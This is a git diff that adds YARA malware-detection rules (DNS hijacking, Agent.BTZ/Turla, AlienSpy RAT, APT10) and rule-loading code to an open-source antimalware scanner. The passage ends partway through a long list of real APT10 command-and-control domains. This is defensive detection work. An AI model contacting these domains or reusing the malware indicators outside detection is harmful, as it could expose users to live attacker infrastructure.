diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..18eba14
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,2 @@
+
+/yara-hydradragon
diff --git a/LICENSE-YARA-RULES-NEO23X0 b/LICENSE-YARA-RULES-NEO23X0
new file mode 100644
index 0000000..37c5f90
--- /dev/null
+++ b/LICENSE-YARA-RULES-NEO23X0
@@ -0,0 +1,38 @@
+# Detection Rule License (DRL) 1.1
+
+Permission is hereby granted, free of charge, to any person obtaining a copy 
+of this rule set and associated documentation files (the "Rules"), to deal 
+in the Rules without restriction, including without limitation the rights to 
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 
+of the Rules, and to permit persons to whom the Rules are furnished to do so, 
+subject to the following conditions:
+
+If you share the Rules (including in modified form), you must retain the 
+following if it is supplied within the Rules:
+
+1. identification of the authors(s) ("author" field) of the Rule and any 
+   others designated to receive attribution, in any reasonable manner 
+   requested by the Rule author (including by pseudonym if designated).
+
+2. a URI or hyperlink to the Rule set or explicit Rule to the extent 
+   reasonably practicable
+
+3. indicate the Rules are licensed under this Detection Rule License, and 
+   include the text of, or the URI or hyperlink to, this Detection Rule 
+   License to the extent reasonably practicable
+
+If you use the Rules (including in modified form) on data, messages based on 
+matches with the Rules must retain the following if it is supplied within the 
+Rules:
+
+1. identification of the authors(s) ("author" field) of the Rule and any 
+   others designated to receive attribution, in any reasonable manner 
+   requested by the Rule author (including by pseudonym if designated).
+
+THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 
+OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE 
+RULES.
\ No newline at end of file
diff --git a/LICENSE-YARA-RULES-REVERSINGLABS b/LICENSE-YARA-RULES-REVERSINGLABS
new file mode 100644
index 0000000..a43f946
--- /dev/null
+++ b/LICENSE-YARA-RULES-REVERSINGLABS
@@ -0,0 +1,19 @@
+Copyright (c) 2020 ReversingLabs
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/README.md b/README.md
index 5a5715b..56befc7 100644
--- a/README.md
+++ b/README.md
@@ -5,11 +5,15 @@ Cross-Platform Open Reactive AntiMalware
 ## Credits
 
 * VirusTotal - Creating Yara
-* [ReversingLabs - Creating Yara Rules](https://github.com/reversinglabs/reversinglabs-yara-rules)
+* [ReversingLabs - Creating Some Yara Rules](https://github.com/reversinglabs/reversinglabs-yara-rules)
+* [Yara23x0 - Creating more Yara Rules](https://github.com/Neo23x0/signature-base)
+* [mikesxrc - Creating a compilation of even MORE yara rules (had to delete some due to errors)](https://github.com/mikesxrs/Open-Source-YARA-rules)
 * Sneed Group - Creating the idea/code
 * ChatGPT/Gemini - Helping code this amazing project
 
 ## Licensing Details
 
-* LICENSE-YARA-RULES - ReversingLab's Yara Rules (everything under the yara subdirectory)
-* LICENSE - Our code. (Pretty much anything else.)
+* LICENSE-YARA-RULES-REVERSINGLABS - ReversingLab's Yara Rules (under the yara-ReversingLabs subdirectory)
+* LICENSE-YARA-RULES-NEO23X0 - NEO23X0's Yara Rules (under the yara-Neo23x0 subdirectory)
+* LICENSE - Our code. (Pretty much any .py file in the main directory as well as requirements.txt)
+* mikesxrs sadly had no license in his Yara Rules repo, so I guess take that for what you will.
\ No newline at end of file
diff --git a/main.py b/main.py
index 6bca5e8..19cdb22 100644
--- a/main.py
+++ b/main.py
@@ -23,7 +23,28 @@ import yara  # YARA for malware scanning
 # YARA Rules
 def load_yara_rules():
     yara_rules = []
-    yara_dir = Path('yara')
+    yara_dir = Path('yara-ReversingLabs')
+    if yara_dir.exists() and yara_dir.is_dir():
+        for yara_file in yara_dir.rglob('*.yar'):
+            try:
+                rule = yara.compile(filepath=str(yara_file))
+                yara_rules.append(rule)
+            except Exception as e:
+                print(f"Error compiling YARA rule {yara_file}: {e}")
+    else:
+        print(f"YARA rules directory not found: {yara_dir}")
+    time.sleep(1)
+    yara_dir = Path('yara-mikesxrs')
+    if yara_dir.exists() and yara_dir.is_dir():
+        for yara_file in yara_dir.rglob('*.yar'):
+            try:
+                rule = yara.compile(filepath=str(yara_file))
+                yara_rules.append(rule)
+            except Exception as e:
+                print(f"Error compiling YARA rule {yara_file}: {e}")
+    else:
+        print(f"YARA rules directory not found: {yara_dir}")
+    yara_dir = Path('yara-Neo23x0')
     if yara_dir.exists() and yara_dir.is_dir():
         for yara_file in yara_dir.rglob('*.yar'):
             try:
diff --git a/requirements.txt b/requirements.txt
index 80af7d1..d923c03 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -5,4 +5,4 @@ requests
 certifi
 tensorflow
 webdriver_manager
-pywin32; platform_system == "Windows"
+pywin32; platform_system == "Windows"
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_aa19_024a.yar b/yara-Neo23x0/apt_aa19_024a.yar
new file mode 100644
index 0000000..cd794b1
--- /dev/null
+++ b/yara-Neo23x0/apt_aa19_024a.yar
@@ -0,0 +1,19 @@
+
+rule APT_MAL_DNS_Hijacking_Campaign_AA19_024A {
+   meta:
+      description = "Detects malware used in DNS Hijackign campaign"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/AA19-024A"
+      date = "2019-01-25"
+      hash1 = "2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec"
+      hash2 = "45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff"
+      id = "6a476052-ba4e-5049-9c7a-f8949d26e7b5"
+   strings:
+      $s2 = "/Client/Login?id=" fullword ascii
+      $s3 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" fullword ascii
+      $s4 = ".\\Configure.txt" fullword ascii
+      $s5 = "Content-Disposition: form-data; name=\"files\"; filename=\"" fullword ascii
+      $s6 = "Content-Disposition: form-data; name=\"txts\"" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
diff --git a/yara-Neo23x0/apt_agent_btz.yar b/yara-Neo23x0/apt_agent_btz.yar
new file mode 100644
index 0000000..1972150
--- /dev/null
+++ b/yara-Neo23x0/apt_agent_btz.yar
@@ -0,0 +1,106 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-07
+   Identifier: Agent BTZ
+   Reference: http://www.intezer.com/new-variants-of-agent-btz-comrat-found/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule Agent_BTZ_Proxy_DLL_1 {
+   meta:
+      description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
+      date = "2017-08-07"
+      hash1 = "9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426"
+      hash2 = "628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24"
+      id = "f8032616-2a54-5107-b330-65fcc84b866e"
+   strings:
+      $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Modules" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them and pe.exports("Entry") )
+}
+
+rule Agent_BTZ_Proxy_DLL_2 {
+   meta:
+      description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
+      date = "2017-08-07"
+      hash1 = "73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88"
+      hash2 = "380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac"
+      hash3 = "f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2"
+      id = "2777443d-6f63-5948-855a-e064a6e0310f"
+   strings:
+      $s1 = { 38 21 38 2C 38 37 38 42 38 4D 38 58 38 63 38 6E
+               38 79 38 84 38 8F 38 9A 38 A5 38 B0 38 BB 38 C6
+               38 D1 38 DC 38 E7 38 F2 38 FD 38 08 39 13 39 1E
+               39 29 39 34 39 3F 39 4A 39 55 39 60 39 6B 39 76
+               39 81 39 8C 39 97 39 A2 39 AD 39 B8 39 C3 39 CE
+               39 D9 39 E4 39 EF 39 FA 39 05 3A 10 3A 1B 3A 26
+               3A 31 3A 3C 3A 47 3A 52 3A 5D 3A 68 3A 73 3A 7E
+               3A 89 3A 94 3A 9F 3A AA 3A B5 3A C0 3A CB 3A D6
+               3A E1 3A EC 3A F7 3A }
+      $s2 = "activeds.dll" ascii fullword
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and all of them and pe.imphash() == "09b7c73fbe5529e6de7137e3e8268b7b"
+}
+
+rule Agent_BTZ_Aug17 {
+   meta:
+      description = "Detects Agent.BTZ"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
+      date = "2017-08-07"
+      hash1 = "6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96"
+      hash2 = "49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e"
+      hash3 = "e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49"
+      id = "31804208-3edb-554b-8820-e682db647435"
+   strings:
+      $s1 = "stdole2.tlb" fullword ascii
+      $s2 = "UnInstallW" fullword ascii
+   condition:
+      (
+         uint16(0) == 0x5a4d and filesize < 900KB and
+         all of them and
+         pe.exports("Entry") and pe.exports("InstallW") and pe.exports("UnInstallW")
+      )
+}
+
+rule APT_Turla_Agent_BTZ_Gen_1 {
+   meta:
+      description = "Detects Turla Agent.BTZ"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-06-16"
+      score = 80
+      hash1 = "c905f2dec79ccab115ad32578384008696ebab02276f49f12465dcd026c1a615"
+      id = "d5e1dd3d-4f03-5f79-898b-e612d2758b60"
+   strings:
+      $x1 = "1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s" fullword ascii
+
+      $s1 = "release mutex - %u (%u)(%u)" fullword ascii
+      $s2 = "\\system32\\win.com" ascii
+      $s3 = "Command Id:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)" fullword ascii
+      $s4 = "MakeFile Error(%d) copy file to temp file %s" fullword ascii
+      $s5 = "%s%%s08x.tmp" fullword ascii
+      $s6 = "Run instruction: %d ID:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)" fullword ascii
+      $s7 = "Mutex_Log" fullword ascii
+      $s8 = "%s\\system32\\winview.ocx" fullword ascii
+      $s9 = "Microsoft(R) Windows (R) Operating System" fullword wide
+      $s10 = "Error: pos(%d) > CmdSize(%d)" fullword ascii
+      $s11 = "\\win.com" ascii
+      $s12 = "Error(%d) run %s " fullword ascii
+      $s13 = "%02d.%02d.%04d Log begin:" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         pe.imphash() == "9d0d6daa47d6e6f2d80eb05405944f87" or
+         ( pe.exports("Entry") and pe.exports("InstallM") and pe.exports("InstallS") ) or
+         $x1 or 3 of them
+      ) or ( 5 of them )
+}
diff --git a/yara-Neo23x0/apt_alienspy_rat.yar b/yara-Neo23x0/apt_alienspy_rat.yar
new file mode 100644
index 0000000..c0bc7ee
--- /dev/null
+++ b/yara-Neo23x0/apt_alienspy_rat.yar
@@ -0,0 +1,50 @@
+
+rule crime_win_rat_AlienSpy
+{
+meta:
+	description = "Alien Spy Remote Access Trojan"
+	author = "General Dynamics Fidelis Cybersecurity Solutions - Threat Research Team"
+	reference_1 = "www.fidelissecurity.com/sites/default/files/FTA_1015_Alienspy_FINAL.pdf"
+	reference_2 = "www.fidelissecurity.com/sites/default/files/AlienSpy-Configs2_1_2.csv"
+	date = "04-Apr-15"
+	filetype = "Java"
+	hash_1 = "075fa0567d3415fbab3514b8aa64cfcb"
+	hash_2 = "818afea3040a887f191ee9d0579ac6ed"
+	hash_3 = "973de705f2f01e82c00db92eaa27912c"
+	hash_4 = "7f838907f9cc8305544bd0ad4cfd278e"
+	hash_5 = "071e12454731161d47a12a8c4b3adfea"
+	hash_6 = "a7d50760d49faff3656903c1130fd20b"
+	hash_7 = "f399afb901fcdf436a1b2a135da3ee39"
+	hash_8 = "3698a3630f80a632c0c7c12e929184fb"
+	hash_9 = "fdb674cadfa038ff9d931e376f89f1b6"
+
+	id = "a79789cd-9b16-58f5-ab51-48bb900583d1"
+   strings:
+
+        $sa_1 = "META-INF/MANIFEST.MF"
+        $sa_2 = "Main.classPK"
+        $sa_3 = "plugins/Server.classPK"
+        $sa_4 = "IDPK"
+
+        $sb_1 = "config.iniPK"
+        $sb_2 = "password.iniPK"
+        $sb_3 = "plugins/Server.classPK"
+        $sb_4 = "LoadStub.classPK"
+        $sb_5 = "LoadStubDecrypted.classPK"
+        $sb_7 = "LoadPassword.classPK"
+        $sb_8 = "DecryptStub.classPK"
+        $sb_9 = "ClassLoaders.classPK"
+
+        $sc_1 = "config.xml"
+        $sc_2 = "options"
+        $sc_3 = "plugins"
+        /* $sc_4 = "util" */
+        $sc_5 = "util/OSHelper"
+        $sc_6 = "Start.class"
+        $sc_7 = "AlienSpy"
+        /* $sc_8 = "PK" */ /* too short atom - disabled for performance reasons */
+
+  condition:
+
+	uint16(0) == 0x4B50 and filesize < 800KB and ( (all of ($sa_*)) or (all of ($sb_*)) or (all of ($sc_*)) )
+}
diff --git a/yara-Neo23x0/apt_apt10.yar b/yara-Neo23x0/apt_apt10.yar
new file mode 100644
index 0000000..720e28e
--- /dev/null
+++ b/yara-Neo23x0/apt_apt10.yar
@@ -0,0 +1,1406 @@
+/*
+   Yara Rule Set
+   Author: Jonas Lejon
+   Date: 2017-04-06
+   Identifier: APT 10 Malware
+*/
+
+import "pe"
+
+/* outdated and prone to FPs */
+/* disabled on 18.07.23 */
+/* see : https://www.linkedin.com/feed/update/urn:li:activity:7087021383276236800/ */
+
+/*
+rule APT10_Malware_Sample_Gen : FILE {
+   meta:
+      description = "APT 10 / Cloud Hopper malware campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+      date = "2017-04-06"
+      score = 80
+   strings:
+      $c2_1 = "002562066559681.r3u8.com" ascii
+      $c2_2 = "031168053846049.r3u8.com" ascii
+      $c2_3 = "0625.have8000.com" ascii
+      $c2_4 = "1.gadskysun.com" ascii
+      $c2_5 = "100fanwen.com" ascii
+      $c2_6 = "11.usyahooapis.com" ascii
+      $c2_7 = "19518473326.r3u8.com" ascii
+      $c2_8 = "1960445709311199.r3u8.com" ascii
+      $c2_9 = "1j.www1.biz" ascii
+      $c2_10 = "1z.itsaol.com" ascii
+      $c2_11 = "2012yearleft.com" ascii
+      $c2_12 = "2014.zzux.com" ascii
+      $c2_13 = "202017845.r3u8.com" ascii
+      $c2_14 = "2139465544784.r3u8.com" ascii
+      $c2_15 = "2789203959848958.r3u8.com" ascii
+      $c2_16 = "5590428449750026.r3u8.com" ascii
+      $c2_17 = "5q.niushenghuo.info" ascii
+      $c2_18 = "6r.suibian2010.info" ascii
+      $c2_19 = "9gowg.tech" ascii
+      $c2_20 = "Hamiltion.catholicmmb.com" ascii
+      $c2_21 = "a.wubangtu.info" ascii
+      $c2_22 = "a1.suibian2010.info" ascii
+      $c2_24 = "abc.wikaba.com" ascii
+      $c2_25 = "abcd120719.6600.org" ascii
+      $c2_26 = "abcd120807.3322.org" ascii
+      $c2_27 = "acc.emailfound.info" ascii
+      $c2_28 = "acc.lehigtapp.com" ascii
+      $c2_29 = "acsocietyy.com" ascii
+      $c2_31 = "ad.webbooting.com" ascii
+      $c2_32 = "additional.sexidude.com" ascii
+      $c2_33 = "af.zyns.com" ascii
+      $c2_34 = "afc.https443.org" ascii
+      $c2_35 = "ako.ddns.us" ascii
+      $c2_36 = "androidmusicapp.onmypc.us" ascii
+      $c2_37 = "announcements.toythieves.com" ascii
+      $c2_38 = "anvprn.com" ascii
+      $c2_39 = "aotuo.9966.org" ascii
+      $c2_40 = "apec.qtsofta.com" ascii
+      $c2_41 = "app.lehigtapp.com" ascii
+      $c2_42 = "apple.cmdnetview.com" ascii
+      $c2_43 = "apple.defensewar.org" ascii
+      $c2_44 = "apple.ikwb.com" ascii
+      $c2_45 = "appledownload.ourhobby.com" ascii
+      $c2_46 = "appleimages.itemdb.com" ascii
+      $c2_47 = "appleimages.longmusic.com" ascii
+      $c2_48 = "applelib120102.9966.org" ascii
+      $c2_49 = "applemirror.organiccrap.com" ascii
+      $c2_50 = "applemirror.squirly.info" ascii
+      $c2_51 = "applemusic.isasecret.com" ascii
+      $c2_52 = "applemusic.itemdb.com" ascii
+      $c2_53 = "applemusic.wikaba.com" ascii
+      $c2_54 = "applemusic.xxuz.com" ascii
+      $c2_55 = "applemusic.zzux.com" ascii
+      $c2_56 = "apples.sytes.net" ascii
+      $c2_57 = "appleupdate.itemdb.com" ascii
+      $c2_58 = "architectisusa.com" ascii
+      $c2_59 = "area.wthelpdesk.com" ascii
+      $c2_60 = "army.xxuz.com" ascii
+      $c2_61 = "art.p6p6.net" ascii
+      $c2_62 = "asfzx.x24hr.com" ascii
+      $c2_64 = "availab.wikaba.com" ascii
+      $c2_65 = "availability.justdied.com" ascii
+      $c2_66 = "ba.my03.com" ascii
+      $c2_67 = "baby.macforlinux.net" ascii
+      $c2_68 = "baby.myie12.com" ascii
+      $c2_69 = "baby.usmirocomney.net" ascii
+      $c2_70 = "back.jungleheart.com" ascii
+      $c2_71 = "back.mofa.dynamic-dns.net" ascii
+      $c2_72 = "bak.have8000.com" ascii
+      $c2_73 = "bak.ignorelist.com" ascii
+      $c2_74 = "bak.un.dnsrd.com" ascii
+      $c2_75 = "balance1.wikaba.com" ascii
+      $c2_76 = "balk.n7go.com" ascii
+      $c2_77 = "banana.cmdnetview.com" ascii
+      $c2_78 = "barrybaker.6600.org" ascii
+      $c2_79 = "bbs.jungleheart.com" ascii
+      $c2_80 = "bdoncloud.com" ascii
+      $c2_81 = "be.mrslove.com" ascii
+      $c2_82 = "be.yourtrap.com" ascii
+      $c2_83 = "belowto.com" ascii
+      $c2_84 = "bethel.webhop.net" ascii
+      $c2_85 = "bexm.cleansite.biz" ascii
+      $c2_86 = "bezu.itemdb.com" ascii
+      $c2_87 = "bk56.twilightparadox.com" ascii
+      $c2_88 = "blaaaaaaaaaaaa.windowsupdate.3-a.net" ascii
+      $c2_89 = "blog.defensewar.org" ascii
+      $c2_90 = "brand.fartit.com" ascii
+      $c2_91 = "bridgeluxlightmadness.com" ascii
+      $c2_92 = "bulletproof.squirly.info" ascii
+      $c2_93 = "cao.p6p6.net" ascii
+      $c2_94 = "cata.qtsofta.com" ascii
+      $c2_95 = "catholicmmb.com" ascii
+      $c2_96 = "cc.dynamicdns.co.uk" ascii
+      $c2_97 = "ccfchrist.com" ascii
+      $c2_98 = "ccupdatedata.authorizeddns.net" ascii
+      $c2_99 = "cd.usyahooapis.com" ascii
+      $c2_100 = "cdn.incloud-go.com" ascii
+      $c2_101 = "center.shenajou.com" ascii
+      $c2_102 = "cgei493860.r3u8.com" ascii
+      $c2_103 = "chaindungeons.com" ascii
+      $c2_104 = "chibashiri.com" ascii
+      $c2_105 = "childrenstow.com" ascii
+      $c2_106 = "cia.ezua.com" ascii
+      $c2_107 = "cia.toh.info" ascii
+      $c2_108 = "ciaoci.chickenkiller.com" ascii
+      $c2_109 = "civilwar123.authorizeddns.org" ascii
+      $c2_110 = "civilwar520.onmypc.org" ascii
+      $c2_111 = "ckusshani.com" ascii
+      $c2_112 = "cloud-kingl.com" ascii
+      $c2_113 = "cloud-maste.com" ascii
+      $c2_114 = "cloudns.8800.org" ascii
+      $c2_115 = "cmdnetview.com" ascii
+      $c2_116 = "cms.sindeali.com" ascii
+      $c2_117 = "cnnews.mylftv.com" ascii
+      $c2_118 = "commissioner.shenajou.com" ascii
+      $c2_119 = "commons.onedumb.com" ascii
+      $c2_120 = "contactus.myddns.com" ascii
+      $c2_121 = "contactus.onmypc.us" ascii
+      $c2_122 = "contract.4mydomain.com" ascii
+      $c2_123 = "contractus.qpoe.com" ascii
+      $c2_124 = "contractus.zzux.com" ascii
+      $c2_125 = "coreck.suayay.com" ascii
+      $c2_128 = "ctdl.windowsupdate.itsaol.com" ascii
+      $c2_129 = "ctdl.windowsupdate.nsatcdns.com" ascii
+      $c2_130 = "ctldl.appledownload.ourhobby.com" ascii
+      $c2_131 = "ctldl.applemusic.itemdb.com" ascii
+      $c2_132 = "ctldl.itunesmusic.jkub.com" ascii
+      $c2_133 = "ctldl.microsoftmusic.onedumb.com" ascii
+      $c2_134 = "ctldl.microsoftupdate.qhigh.com" ascii
+      $c2_135 = "ctldl.windowsupdate.authorizeddns.org" ascii
+      $c2_136 = "ctldl.windowsupdate.authorizeddns.us" ascii
+      $c2_137 = "ctldl.windowsupdate.dnset.com" ascii
+      $c2_138 = "ctldl.windowsupdate.esmtp.biz" ascii
+      $c2_139 = "ctldl.windowsupdate.ezua.com" ascii
+      $c2_140 = "ctldl.windowsupdate.gettrials.com" ascii
+      $c2_141 = "ctldl.windowsupdate.itsaol.com" ascii
+      $c2_142 = "ctldl.windowsupdate.lflinkup.com" ascii
+      $c2_143 = "ctldl.windowsupdate.mrface.com" ascii
+      $c2_144 = "ctldl.windowsupdate.nsatcdns.com" ascii
+      $c2_145 = "ctldl.windowsupdate.organiccrap.com" ascii
+      $c2_146 = "ctldl.windowsupdate.x24hr.com" ascii
+      $c2_147 = "cvnx.zyns.com" ascii
+      $c2_148 = "cwiinatonal.com" ascii
+      $c2_149 = "daddy.gostudyantivirus.com" ascii
+      $c2_150 = "dcc.jimingroup.com" ascii
+      $c2_151 = "dd.ddns.us" ascii
+      $c2_152 = "de.onmypc.info" ascii
+      $c2_153 = "dear.loveddos.com" ascii
+      $c2_154 = "dec.seyesb.acmetoy.com" ascii
+      $c2_155 = "dedgesuite.net" ascii
+      $c2_156 = "dedydns.ns01.us" ascii
+      $c2_157 = "defensewar.org" ascii
+      $c2_158 = "demoones.com" ascii
+      $c2_159 = "department.shenajou.com" ascii
+      $c2_160 = "details.squirly.info" ascii
+      $c2_161 = "development.shenajou.com" ascii
+      $c2_162 = "devilcase.acmetoy.com" ascii
+      $c2_163 = "dfgwerzc.3322.org" ascii
+      $c2_164 = "dick.ccfchrist.com" ascii
+      $c2_165 = "digsby.ourhobby.com" ascii
+      $c2_166 = "disruptive.https443.net" ascii
+      $c2_167 = "dlmix.ourdvs.com" ascii
+      $c2_168 = "dnspoddwg.authorizeddns.org" ascii
+      $c2_170 = "document.methoder.com" ascii
+      $c2_171 = "document.shenajou.com" ascii
+      $c2_172 = "domainnow.yourtrap.com" ascii
+      $c2_173 = "download.applemusic.itemdb.com" ascii
+      $c2_174 = "download.microsoftmusic.onedumb.com" ascii
+      $c2_175 = "download.windowsupdate.authorizeddns.org" ascii
+      $c2_176 = "download.windowsupdate.dedgesuite.net" ascii
+      $c2_177 = "download.windowsupdate.dnset.com" ascii
+      $c2_178 = "download.windowsupdate.itsaol.com" ascii
+      $c2_179 = "download.windowsupdate.lflinkup.com" ascii
+      $c2_180 = "download.windowsupdate.nsatcdns.com" ascii
+      $c2_181 = "download.windowsupdate.x24hr.com" ascii
+      $c2_182 = "downloadlink.mypicture.info" ascii
+      $c2_183 = "drives.methoder.com" ascii
+      $c2_184 = "dst.1dumb.com" ascii
+      $c2_185 = "duosay.com" ascii
+      $c2_186 = "dyncojinf.6600.org" ascii
+      $c2_187 = "dynsbluecheck.7766.org" ascii
+      $c2_188 = "ea.onmypc.info" ascii
+      $c2_189 = "ea.rebatesrule.net" ascii
+      $c2_190 = "edgar.ccfchrist.com" ascii
+      $c2_191 = "ehshiroshima.mylftv.com" ascii
+      $c2_192 = "emailfound.info" ascii
+      $c2_193 = "eric-averyanov.wha.la" ascii
+      $c2_194 = "essashi.com" ascii
+      $c2_195 = "eu.acmetoy.com" ascii
+      $c2_196 = "eu.wha.la" ascii
+      $c2_197 = "eu.zzux.com" ascii
+      $c2_198 = "everydayfilmlink.com" ascii
+      $c2_199 = "ewe.toshste.com" ascii
+      $c2_200 = "eweek.2waky.com" ascii
+      $c2_201 = "exprenum.com" ascii
+      $c2_202 = "express.lflinkup.com" ascii
+      $c2_203 = "extraordinary.dynamic-dns.net" ascii
+      $c2_204 = "f068v.site" ascii
+      $c2_205 = "fabian.ccfchrist.com" ascii
+      $c2_206 = "fastemail.dnsrd.com" ascii
+      $c2_207 = "fastmail2.com" ascii
+      $c2_208 = "fbi.sexxxy.biz" ascii
+      $c2_209 = "fbi.zyns.com" ascii
+      $c2_210 = "fcztqbg.zj.r3u8.com" ascii
+      $c2_211 = "feed.jungleheart.com" ascii
+      $c2_212 = "fftpoor.com" ascii
+      $c2_213 = "fg.v4.download.windowsupdates.dnsrd.com" ascii
+      $c2_214 = "fgipv6.download.windowsupdate.com.mwcname.com" ascii
+      $c2_215 = "file.zzux.com" ascii
+      $c2_216 = "files.architectisusa.com" ascii
+      $c2_217 = "film.everydayfilmlink.com" ascii
+      $c2_218 = "filmlist.everydayfilmlink.com" ascii
+      $c2_219 = "findme.epac.to" ascii
+      $c2_220 = "fire.mrface.com" ascii
+      $c2_221 = "fish.toh.info" ascii
+      $c2_222 = "fiveavmersi.websegoo.net" ascii
+      $c2_223 = "fjs.wikaba.com" ascii
+      $c2_224 = "flea.poulsenv.com" ascii
+      $c2_225 = "flynews.edns.biz" ascii
+      $c2_226 = "fo.mysecondarydns.com" ascii
+      $c2_227 = "foal.wchildress.com" ascii
+      $c2_228 = "follow.wha.la" ascii
+      $c2_229 = "foo.shenajou.com" ascii
+      $c2_230 = "for.ddns.mobi" ascii
+      $c2_231 = "fr.wikaba.com" ascii
+      $c2_232 = "franck.demoones.com" ascii
+      $c2_233 = "ftp.2014.zzux.com" ascii
+      $c2_234 = "ftp.additional.sexidude.com" ascii
+      $c2_235 = "ftp.afc.https443.org" ascii
+      $c2_236 = "ftp.announcements.toythieves.com" ascii
+      $c2_237 = "ftp.apple.ikwb.com" ascii
+      $c2_238 = "ftp.appledownload.ourhobby.com" ascii
+      $c2_239 = "ftp.appleimages.itemdb.com" ascii
+      $c2_240 = "ftp.appleimages.longmusic.com" ascii
+      $c2_241 = "ftp.appleimages.organiccrap.com" ascii
+      $c2_242 = "ftp.applemirror.organiccrap.com" ascii
+      $c2_243 = "ftp.applemirror.squirly.info" ascii
+      $c2_244 = "ftp.applemusic.isasecret.com" ascii
+      $c2_245 = "ftp.applemusic.itemdb.com" ascii
+      $c2_246 = "ftp.applemusic.wikaba.com" ascii
+      $c2_247 = "ftp.applemusic.xxuz.com" ascii
+      $c2_248 = "ftp.applemusic.zzux.com" ascii
+      $c2_249 = "ftp.appleupdate.itemdb.com" ascii
+      $c2_250 = "ftp.architectisusa.com" ascii
+      $c2_251 = "ftp.asfzx.x24hr.com" ascii
+      $c2_252 = "ftp.availab.wikaba.com" ascii
+      $c2_253 = "ftp.availability.justdied.com" ascii
+      $c2_254 = "ftp.back.jungleheart.com" ascii
+      $c2_255 = "ftp.balance1.wikaba.com" ascii
+      $c2_256 = "ftp.be.mrslove.com" ascii
+      $c2_257 = "ftp.brand.fartit.com" ascii
+      $c2_258 = "ftp.bulletproof.squirly.info" ascii
+      $c2_259 = "ftp.cia.ezua.com" ascii
+      $c2_260 = "ftp.cia.toh.info" ascii
+      $c2_261 = "ftp.civilwar123.authorizeddns.org" ascii
+      $c2_262 = "ftp.civilwar520.onmypc.org" ascii
+      $c2_263 = "ftp.cloudfileserverbs.dynamicdns.co.uk" ascii
+      $c2_264 = "ftp.cnnews.mylftv.com" ascii
+      $c2_265 = "ftp.commons.onedumb.com" ascii
+      $c2_266 = "ftp.contractus.qpoe.com" ascii
+      $c2_267 = "ftp.cvnx.zyns.com" ascii
+      $c2_268 = "ftp.de.onmypc.info" ascii
+      $c2_269 = "ftp.details.squirly.info" ascii
